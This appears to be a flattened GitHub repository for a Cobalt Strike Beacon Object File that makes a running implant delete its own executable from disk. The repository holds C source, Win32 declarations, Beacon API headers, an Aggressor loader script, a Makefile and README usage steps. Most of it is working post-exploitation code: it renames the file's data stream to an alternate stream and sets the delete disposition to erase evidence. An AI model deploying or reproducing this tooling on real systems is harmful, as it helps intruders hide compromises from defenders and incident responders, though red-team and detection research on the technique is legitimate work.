├── dist ├── self_delete.x64.o └── self_delete.cna ├── src ├── Makefile ├── headers │ ├── win32_api.h │ └── beacon.h └── main.c └── README.md /dist/self_delete.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EspressoCake/Self_Deletion_BOF/HEAD/dist/self_delete.x64.o -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := self_delete 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | all: 5 | $(CC_x64) -Wno-unused-variable -o ../dist/$(BOFNAME).x64.o -c main.c -masm=intel 6 | 7 | clean: 8 | rm -f ../dist/$(BOFNAME).x64.o 9 | -------------------------------------------------------------------------------- /dist/self_delete.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "self_delete", 3 | "LloydLabs/jonaslyk self-delete PoC.", 4 | "Synopsis: self_delete"); 5 | 6 | alias self_delete { 7 | local('$handle $args $data'); 8 | 9 | $handle = openf(script_resource("self_delete.x64.o")); 10 | $data = readb($handle, -1); 11 | closef($handle); 12 | 13 | beacon_inline_execute($1, $data, "go"); 14 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Self_Deletion_BOF 2 | BOF implementation of the research by @jonasLyk and the drafted PoC from @LloydLabs 3 | 4 | ## Why? 5 | I didn't see that it currently existed (via the Community Kit) at the time of authorship. 6 | 7 | ## How do I run this? 8 | 1. In this case, you have two options: 9 | 1. Use the existing, compiled object file, located in the `dist` directory (AKA proceed to major step two) 10 | 2. Compile from source via the `Makefile` 11 | 1. `cd src` 12 | 2. `make clean` 13 | 3. `make` 14 | 2. Load the `Aggressor` file, in the `Script Manager`, located in the `dist` directory 15 | 3. Within a provided `Beacon`, `beacon> self_delete` 16 | 17 | ## Any known downsides? 18 | - We're still using the `Win32` API and `Dynamic Function Resolution`. This is for you to determine as far as "risk". 19 | - Most of these calls can be replaced with `Nt` or `Zw` equivalents, which most (if not all) relevant stubs have been generated for you in the `syscalls.h` header file. 20 | - I **may** replace these with the aforementioned at a later point, but as it stands, I just wanted this up and "out there" for people first and foremost. 21 | - As it stands, there is one `64-bit` call to `NtClose`, if you wish, you may just create the `Dynamic Function Resolution` prototype in `win32_api.h` for `CloseHandle`. 22 | -------------------------------------------------------------------------------- /src/headers/win32_api.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | typedef struct _FILE_RENAME_INFO { 9 | union { 10 | BOOLEAN ReplIfExists; 11 | DWORD Flags; 12 | } DUMMYUNIONNAME; 13 | BOOLEAN ReplaceIfExists; 14 | HANDLE RootDirectory; 15 | DWORD FileNameLength; 16 | WCHAR FileName[1]; 17 | } FILE_RENAME_INFO, *PFILE_RENAME_INFO; 18 | 19 | 20 | typedef enum _FILE_INFO_BY_HANDLE_CLASS { 21 | FileBasicInfo, 22 | FileStandardInfo, 23 | FileNameInfo, 24 | FileRenameInfo, 25 | FileDispositionInfo, 26 | FileAllocationInfo, 27 | FileEndOfFileInfo, 28 | FileStreamInfo, 29 | FileCompressionInfo, 30 | FileAttributeTagInfo, 31 | FileIdBothDirectoryInfo, 32 | FileIdBothDirectoryRestartInfo, 33 | FileIoPriorityHintInfo, 34 | FileRemoteProtocolInfo, 35 | FileFullDirectoryInfo, 36 | FileFullDirectoryRestartInfo, 37 | FileStorageInfo, 38 | FileAlignmentInfo, 39 | FileIdInfo, 40 | FileIdExtdDirectoryInfo, 41 | FileIdExtdDirectoryRestartInfo, 42 | FileDispositionInfoEx, 43 | FileRenameInfoEx, 44 | FileCaseSensitiveInfo, 45 | FileNormalizedNameInfo, 46 | MaximumFileInfoByHandleClass 47 | } FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS; 48 | 49 | typedef struct _FILE_DISPOSITION_INFO { 50 | BOOLEAN DeleteFile; 51 | } FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO; 52 | 53 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 54 | WINBASEAPI DWORD WINAPI KERNEL32$GetModuleFileNameW (HMODULE hModule, LPWSTR lpFilename, DWORD nSize); 55 | WINBASEAPI BOOL WINAPI KERNEL32$SetFileInformationByHandle (HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize); 56 | WINBASEAPI void * __cdecl MSVCRT$memcpy(void * _Dst, const void * _Src, size_t _Size); 57 | WINBASEAPI void* __cdecl MSVCRT$memset (void* _Dst, int _Val, size_t Size); -------------------------------------------------------------------------------- /src/headers/beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct { 6 | char * original; /* the original buffer [so we can free it] */ 7 | char * buffer; /* current pointer into our buffer */ 8 | int length; /* remaining length of data */ 9 | int size; /* total size of this buffer */ 10 | } datap; 11 | 12 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 13 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 14 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 15 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 16 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 17 | 18 | /* format API */ 19 | typedef struct { 20 | char * original; /* the original buffer [so we can free it] */ 21 | char * buffer; /* current pointer into our buffer */ 22 | int length; /* remaining length of data */ 23 | int size; /* total size of this buffer */ 24 | } formatp; 25 | 26 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 27 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 28 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 29 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 30 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 31 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 32 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 33 | 34 | /* Output Functions */ 35 | #define CALLBACK_OUTPUT 0x0 36 | #define CALLBACK_OUTPUT_OEM 0x1e 37 | #define CALLBACK_ERROR 0x0d 38 | #define CALLBACK_OUTPUT_UTF8 0x20 39 | 40 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 41 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 42 | 43 | /* Token Functions */ 44 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 45 | DECLSPEC_IMPORT void BeaconRevertToken(); 46 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 47 | 48 | /* Spawn+Inject Functions */ 49 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 50 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 51 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 52 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 53 | 54 | /* Utility Functions */ 55 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #ifndef _WIN64 2 | #error This code must be compiled with a 64-bit version of MSVC 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "headers/syscalls.h" 10 | #include "headers/beacon.h" 11 | #include "headers/win32_api.h" 12 | 13 | 14 | #define NEW_ADS L":newads" 15 | 16 | 17 | VOID vanityBanner(void) { 18 | LPCWSTR banner = L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n" 19 | L"| Self-Deletion BOF Port |\n" 20 | L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n" 21 | L"| By: @the_bit_diddler |\n" 22 | L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n" 23 | L"| Credits: @jonasLyk @LloydLabs |\n" 24 | L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n"; 25 | 26 | BeaconPrintf(CALLBACK_OUTPUT, "%ls\n", (wchar_t*)banner); 27 | } 28 | 29 | 30 | BOOL renameDataStream(HANDLE hHandle) 31 | { 32 | FILE_RENAME_INFO friRename; 33 | MSVCRT$memset(&friRename, 0, sizeof(friRename)); 34 | 35 | LPWSTR lpwStream = NEW_ADS; 36 | friRename.FileNameLength = sizeof(lpwStream); 37 | 38 | MSVCRT$memcpy(friRename.FileName, lpwStream, sizeof(lpwStream)); 39 | 40 | return KERNEL32$SetFileInformationByHandle(hHandle, FileRenameInfo, &friRename, sizeof(friRename) + sizeof(lpwStream)); 41 | } 42 | 43 | 44 | BOOL setDeletionAttribute(HANDLE hHandle) 45 | { 46 | FILE_DISPOSITION_INFO fDelete; 47 | MSVCRT$memset(&fDelete, 0, sizeof(fDelete)); 48 | 49 | fDelete.DeleteFile = TRUE; 50 | 51 | return KERNEL32$SetFileInformationByHandle(hHandle, FileDispositionInfo, &fDelete, sizeof(fDelete)); 52 | } 53 | 54 | 55 | int go(char *args, int len) 56 | { 57 | datap parser; 58 | 59 | BeaconDataParse(&parser, args, len); 60 | 61 | vanityBanner(); 62 | 63 | WCHAR wcPath[MAX_PATH + 1]; 64 | MSVCRT$memset(wcPath, 0, sizeof(wcPath)); 65 | 66 | if ( KERNEL32$GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0 ) { 67 | BeaconPrintf(CALLBACK_ERROR, "Failed to get current module handle.\n"); 68 | return 0; 69 | } else { 70 | BeaconPrintf(CALLBACK_OUTPUT, "Obtained a handle to current module file handle.\n"); 71 | BeaconPrintf(CALLBACK_OUTPUT, "Current file path: %ls\n", (wchar_t*)wcPath); 72 | } 73 | 74 | HANDLE hCurrent = KERNEL32$CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 75 | 76 | if ( hCurrent == INVALID_HANDLE_VALUE ) { 77 | BeaconPrintf(CALLBACK_ERROR, "Failed to get handle to current file.\n"); 78 | return 0; 79 | } else { 80 | BeaconPrintf(CALLBACK_OUTPUT, "Got handle to file.\n"); 81 | } 82 | 83 | BOOL returnedHandleRename = renameDataStream(hCurrent); 84 | if ( !returnedHandleRename ) { 85 | BeaconPrintf(CALLBACK_ERROR, "Failed to rename data stream from handle.\n"); 86 | NtClose(hCurrent); 87 | return 0; 88 | } else { 89 | BeaconPrintf(CALLBACK_OUTPUT, "Renamed handle to %ls's data stream successfully.\n", (wchar_t*)wcPath); 90 | NtClose(hCurrent); 91 | } 92 | 93 | hCurrent = KERNEL32$CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 94 | if ( hCurrent == INVALID_HANDLE_VALUE ) { 95 | BeaconPrintf(CALLBACK_ERROR, "Failed to get second handle to current file.\n"); 96 | return 0; 97 | } else { 98 | BeaconPrintf(CALLBACK_OUTPUT, "Got second handle to file for further manipulation.\n"); 99 | } 100 | 101 | if ( !setDeletionAttribute(hCurrent) ) { 102 | BeaconPrintf(CALLBACK_ERROR, "Failed to set desired deposition. Destroying handle and returning.\n"); 103 | NtClose(hCurrent); 104 | 105 | return 0; 106 | } else { 107 | BeaconPrintf(CALLBACK_OUTPUT, "Deletion attribute set successfully! Destroying handle to trigger self-deletion.\n"); 108 | NtClose(hCurrent); 109 | } 110 | 111 | BeaconPrintf(CALLBACK_OUTPUT, "We should have successfully deleted the file: %ls\n", (wchar_t*)wcPath); 112 | 113 | return 1; 114 | } --------------------------------------------------------------------------------